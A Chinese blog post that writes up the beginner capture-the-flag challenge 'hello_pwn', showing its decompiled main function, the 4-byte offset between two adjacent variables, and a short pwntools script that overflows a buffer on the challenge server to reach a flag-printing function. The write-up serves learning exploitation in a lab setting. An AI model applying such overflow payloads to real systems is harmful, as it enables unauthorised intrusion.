攻防世界PWN-hello_pwn

最新推荐文章于 2024-09-23 08:59:46 发布

Deeeelete

最新推荐文章于 2024-09-23 08:59:46 发布

阅读量434

点赞数

分类专栏： ctf 文章标签： pwn

本文链接：https://blog.csdn.net/deeeelete/article/details/109695419

版权

ctf 专栏收录该内容

12 篇文章 1 订阅

订阅专栏

题目：hello_pwn

在这里插入图片描述

进pe查看程序

在这里插入图片描述

因为该题目比较简单，所以确认是64位程序，直接进IDA

在这里插入图片描述
f5反编译main函数

在这里插入图片描述
单独摘出代码

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686(0LL, &unk_601068);
  return 0LL;
}

有一个if判断，判断条件是dword_60106C == 1853186401，下面是一个sub_400686函数，点进去查看，发现能直接cat flag

在这里插入图片描述
也就是说要试图让程序满足dword_60106C == 1853186401，且没有该变量的直接输入点，但该变量的上方存在一个unk_601068变量，这个变量却是我们可以正常输入的，因此对该变量进行溢出攻击，从而把数值写给我们需要构造的dword_60106C 变量

双击&unk_601068查看其地址：0000000000601068

在这里插入图片描述
双击查看dword_60106C变量的地址：000000000060106C

在这里插入图片描述

计算两个地址之间的偏移，大数减小数，十六进制6C-68得出十进制结果：4，或者在偏移量较小的情况下直接在IDA里数

从6C开始往上数，下开上闭（下方是开区间，上方是闭区间），数到68刚好是4，4个偏移之后就可以把我们构造的内容溢出到指定变量中

在这里插入图片描述
编写脚本：

from pwn import *
r = remote("220.249.52.133",37527)
payload = 'A'*4 + p64(1853186401)
r.sendline(payload)
r.interactive()

运行脚本：

在这里插入图片描述